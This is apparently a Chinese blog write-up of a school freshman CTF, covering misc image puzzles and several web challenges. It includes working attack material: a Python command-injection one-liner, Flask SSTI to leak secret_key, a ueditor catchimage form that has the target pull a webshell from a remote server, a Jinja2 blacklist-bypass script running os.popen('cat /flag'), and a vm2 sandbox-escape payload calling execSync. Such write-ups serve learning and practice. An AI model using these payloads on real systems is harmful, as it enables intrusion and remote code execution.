总结
周末没事,看到Fz师傅和尖尖在群里推学校新生赛,去看了下题,题目质量是真的顶,比当今的xx杯好到不知道哪里去了。
于是赛时做了所有的misc以及2个web
赛后准备复现所有web,以及记录几个misc的不错trick。
Misc
Hacked_by_PTT0
流量包提word, (wireshark该更新了)别人直接http流,
我这啥都无。
foremost之后发现就是word
但是有个奇怪的文件
winhex查看是个png
然后就没了。
不过拿docx配置文件出题还是挺有趣的。
神秘代码
#### Description
神秘代码1whGlIjZ1ReEiTUSXxSbZUw/vnz4
在Fz大师傅的提示下才知道这是百度云车头。23333
以后可以多想想。
然后后面是类似白虎的密码柜。
Bitlocker解密blabla,
不过我非预期Strings一把梭了
Broken RedLine
#### Description
尖尖的红线断开了,呜呜呜呜呜呜呜
爆破宽高就不提了,后面的一张图才是传神之作,
红线连上用脚本,
对我这种脚本废物是一个学习的好机会,管Y老师借了个脚本看看
from PIL import Image
def re_turn(pixels,num):
return pixels[num:]+pixels[:num]
p = Image.open('res.png').convert('RGB')
a,b = p.size
pixels = []
for x in range(a):
pixel = []
for y in range(b):
pixel.append(p.getpixel((x,y)))
pixels.append(pixel)
data = []
for i in pixels:
for j in range(len(i)):
if i[j] != i[j-1] and i[j-1] == (255, 0, 0):
data.append(j)
break
_pixels = []
for i in range(len(data)):
_pixels.append(re_turn(pixels[i],data[i]))
p1 = Image.new('RGB',(a,b))
for x in range(a):
for y in range(b):
p1.putpixel((x,y),_pixels[x][y])
p1.save('flag.png')
以后脚本还是要多加油啊。。。。
人工智障
python input特性造成的命令注入,直接一把梭了。
__import__('os').popen('cat ./`flag.txt`').read()
guess
老trick了,V神也是为了出那个trick
识别数字nan (x
我的二维码,时尚时尚最时尚
#### Description
二维码真的好玩,于是尖尖自己设计了一个二维码,你能扫出来吗?
foremost有两个,一个掩码,其实就是两个xor,
但是由于像素不同,不能直接拉伸,和直接combineer
所以要么手点,要么ps处理,要么脚本跑。
我选择了最傻逼的做法。
脚本存一个Fz师傅给的
脚本一把梭
~~~python
from PIL import Image
p1 = Image.open('qrcode.png').convert('L')
p2 = Image.open('掩码.png').convert('L')
a1,b1 = p1.size
a2,b2 = p2.size
p1_block = 12
p1_data = []
for y in range(10,b1,p1_block):
for x in range(10,a1,p1_block):
# print(x,y,p1.getpixel((x,y)))
if p1.getpixel((x,y)) != 255:
p1_data.append(1)
else:
p1_data.append(0)
#y_start = 3 x_start=4
p2_block = 11
p2_data = []
for y in range(4,b2,p2_block):
for x in range(4,a2,p2_block):
if p2.getpixel((x, y)) != 0:
p2_data.append(0)
else:
p2_data.append(1)
print(len(p2_data))
fin_data = []
for i in range(len(p2_data)):
fin_data.append(p1_data[i]^p2_data[i])
b = Image.new('L',(10,10),0)
w = Image.new('L',(10,10),255)
np = Image.new('L',(290,290),255)
# for i in range(len(fin_data)):
# x = i % 29
# y = i // 29
# if p1_data[i] == 1:
# np.paste(b, (x * 10, y * 10))
# else:
# np.paste(w, (x * 10, y * 10))
# np.save("p1.png")
# for i in range(len(fin_data)):
# x = i % 29
# y = i // 29
# if p2_data[i] == 1:
# np.paste(b, (x * 10, y * 10))
# else:
# np.paste(w, (x * 10, y * 10))
# np.save("p2.png")
for i in range(len(fin_data)):
x = i%29
y = i//29
if fin_data[i] == 1:
np.paste(b,(x*10,y*10))
else:
np.paste(w,(x*10,y*10))
np.save("res.png")
WEB
尖尖的商店 2个
都是伪造cookie,第二个secret_key需要打模板注入,
查看Hint发现请求错误路由时候,会自动返回Template(Referer)
由于检查了is_url_valid
其他无任何过滤
所以考虑在原网站后面直接/{{config}}
拿到secret_key伪造session即可。
Hacked by Wendell
是一个CMS 审源码
在plugin中有一些东西。ueditor 的controller.php中存在down_url
考虑远程vps放马
在zzz_file中查看down_url以及filename
function file_name( $path ) {
return substr( $path, strrpos( $path, '/' ) + 1 );
}
那么考虑在服务器端传一个马。
小插曲,一直没看懂在哪里限制的后缀,
发现了 $allext=conf('imageext').conf('fileext').conf('videoext');
在down_url
有一句
if(!in_array($file_ext,splits($allext,','))){
return array( 'msg' => '创建文件失败,禁止创建'.$file_ext.'文件!', 'state' => 'ERROR', 'error' => 5 );
}
联动config/zzz_config.php里面联动就非常明了了。
在自己的服务器打就可以了
自己html写一个表单来提交,
<form
action="http://47.52.161.149:10001/plugins/ueditor/php/controller.php?action=catchimage"enctype="application/x-www-form-urlencoded" method="POST">
shell addr: <input type="text" name="source[]" />
<input type = "submit" value="Submit" />
</form>
然后
成功getshell拿flag了
Hacked_by_V
又一个CMS的0day
来自尖尖的wp
这题是 EJUCMS 的 0day,虽然给了源码,但不用审也能做,毕竟很明显提示是后
台,而后台能交互文件的地方不多,挖过 CMS 的应该很快能猜到是模板处存在漏洞。
给了后台的登录密码
直接进入后台了。
后台发现渲染模板都在房子那也,那么通过修改渲染模板从而让前端显示php命令
array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".htaccess" [3]=> string(9) ".user.ini" [4]=> string(10) "Retr_0.php" [5]=> string(11) "application" [6]=> string(4) "core" [7]=> string(4) "data" [8]=> string(6) "extend" [9]=> string(24) "f1AAAAaaaGGGg_123123.php" [10]=> string(11) "favicon.ico" [11]=> string(11) "ha1c9on.php" [12]=> string(9) "index.php" [13]=> string(18) "install_1595760516" [14]=> string(9) "login.php" [15]=> string(6) "public" [16]=> string(10) "robots.txt" [17]=> string(11) "sitemap.xml" [18]=> string(8) "template" [19]=> string(7) "uploads" [20]=> string(6) "vendor" [21]=> string(5) "weapp" [22]=> string(22) "系统安装说明.url" }
打出flag
套娃
这题说说好了,就不复现了,第一步利用burp 爆破401验证。
有一个小trick发现他的帐号密码形式搞到了header中
然后
Authorization: Basic base64encode('use:password');
第二步LFI,老操作了,但是我的base64总是奇怪编码,反正就是读不到,我吐了
第三步
最后一步就只需要爆破个md5了
from hashlib import md5
for i in range(100000000000):
if md5(str(i)).hexdigest():[6]=='1024cc':
print(i)
break
得到flag
唯一 一个新手提,还是个套娃。
dangerous-function
这题环境没了,看guoke dalao博客慢慢理解的。
因为源码和前面的zzzcms差不多。
只是互相修了这个洞。
全局搜索eval。在inc/zzz_template.php中parserIfLabel函数。有个if标签解析点
在parserCommom函数处调用了parserIfLabel函数
在zzz_client.php中又调用了parserCommom函数
在search/index.php中包含了zzz_client.php
在Web主页有个搜索框。搜索下。得到参数。
本地搭个环境。输出下eval的值。
然后就开始利用了。。
发现有部分字符被替换了。
找到zzz_main.php
function danger_key($s,$type='') {
$s=empty($type) ? htmlspecialchars($s) : $s;
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','`','replace','flag');
foreach ($danger as $val){
if(stripos($s,$val) !==false){
error('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
return $s;
}
hex2bin那个貌似是pingpingping的,不过RCE绕过太多了(x
也有很多很多trick绕过这个应该还是没啥问题(x
主要能力还是需要审源码。
ezflask
没看懂(直接贴的Y老师的wp)以后研究一下
很坦诚上来就给了源码,就告诉你模板注入
#!/usr/bin/env python # -*- coding: utf-8 -*- from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory app = Flask(__name__) @app.route("/") def index(): def safe_jinja(s): blacklist = ['class', '_', 'mro', 'base', 'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtin', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}'] flag = True for no in blacklist: if no.lower() in s.lower(): flag = False break return flag if not request.args.get('name'): return open(__file__).read() elif safe_jinja(request.args.get('name')): name = request.args.get('name') else: name = 'wendell' template = '''Hello, %s
''' % (name) return render_template_string(template) if __name__ == "__main__": app.run(host='0.0.0.0', port=5000)
没办法通过params,body,cookies,headers传额外参数,也没有引号,怎么办呢,这次学到了一个传新的技巧
{{(dict(a=1))|string|truncate(3,True,a|string)|list|last}} == 'a'
为什么呢?因为通过string这个filter,将一个对象化成字符串,再取出这个字符串的某一位就可以构造出任意字符,然后通过dict构造器可以传命名参数然后会化为键值出现在string的结果中,就可以取得这个字符。
_也可以同理,利用1|map|string=='<generator object do_map at 0x7f48573e4f48>'然后同理取一下所在的位置,就能获得。
对于/等不是很好构造的,当我们拥有了上面的一些字符,就可以从链上找到builtins.chr,然后直接调用就好了。
总之,这次ssti用到的武器就是filter,jinja2中有很多filter,想要了解全部的话,可以参考官方文档
贴出我的脚本
from jinja2 import Template
import requests
from html import unescape
def test(name):
def safe_jinja(s):
blacklist = ['class', '_', 'mro', 'base',
'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtin', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
flag = True
for no in blacklist:
if no.lower() in s.lower():
flag = False
break
return flag
if safe_jinja(name):
name = name
else:
name = 'wendell'
return Template(name).render()
def gen_chr(c):
if c == '_':
return '{% set a95=1|map|string|truncate(21,True,a|string)|list|last %}'
else:
return f"{{% set a{ord(c)}=(dict({c}=12))|string|truncate(3,True,a|string)|list|last %}}"
def gen(*args):
payload = set()
for p in args:
for i in p:
payload.add(gen_chr(i))
return ''.join(payload), ['('+','.join([f"a{ord(i)}" for i in p]) + ')|join' for p in args]
p, [c, b, s, g, init, glo, o, ch, bt, flag, imp, os, popen, cmd,read] = gen("__class__", "__base__", "__subclasses__",
"__getitem__", "__init__", "__globals__", "open", "chr", "__builtins__","flag","__import__","os", "popen", "cat","read")
p+= f"{{% set slash=()|attr({c})|attr({b})|attr({s})()|attr({g})(132)|attr({init})|attr({glo})|attr({g})({bt})|attr({g})({ch})(47) %}}"
p+= f"{{% set space=()|attr({c})|attr({b})|attr({s})()|attr({g})(132)|attr({init})|attr({glo})|attr({g})({bt})|attr({g})({ch})(32) %}}"
payload = p + "{{" + f"()|attr({c})|attr({b})|attr({s})()|attr({g})(132)|attr({init})|attr({glo})|attr({g})({bt})|attr({g})({imp})({os})|attr({popen})(({cmd},space,slash,{flag})|join)|attr({read})()" + "}}"
print(payload)
r = requests.get("http://ezflask.race2020.0rays.club/", params={"name": payload}).text
print(unescape(r))
ezcalc
这calc源码改了又改。。。
估计还是js相关的东西。
var express = require('express');
var router = express.Router();
const { VM } = require('vm2');
function safeEval(calc) {
if (calc.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return new VM().run(calc);
}
router.get('/', function (req, res, next) {
let result = '';
if (req.query.calc) {
let calc = req.query.calc;
result = safeEval(calc);
}
else {
result = '?calc=2-1'
}
res.render('index', { title: 'ezcalc', result: result });
});
module.exports = router;
给了源码,index.js
还有个vm,感觉加了个逃逸。。。
safeEval 是否想起了NPUCTF呢。
还是老一套arrorw function绕过。
来执行
Y老师wp:
之后其他的就是找issue
import requests
import re
import base64
url='http://ezcalc.race2020.0rays.club/'
def escape(cmd):
return'''(()=>{
try { require('child_process').execSync("idea") } catch(e){} // Not getting executed
let buffer = {
hexSlice: () => "",
magic: {
get [Symbol.for("nodejs.util.inspect.custom")](){
throw f => f.constructor("return process")();
}
}
};
try{
Buffer.prototype.inspect.call(buffer, 0, { customInspect: true });
}catch(e){
return e(()=>0).mainModule.require('child_process').execSync("cat /flag")
}
})()'''
def gen(cmd):
s="return "+escape(cmd)
return ','.join([str(ord(i)) for i in s])
c = 'ls'
payload=f'((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({gen(c)}))))(Math+1)()'
r=requests.get(url,params={"calc":payload})
print(r.text)
还需学习好多啊。。。。
sql
官方wp
这题trick太多,届时自己试试并且整理下sql注入的trick吧。
感觉还是挺有趣的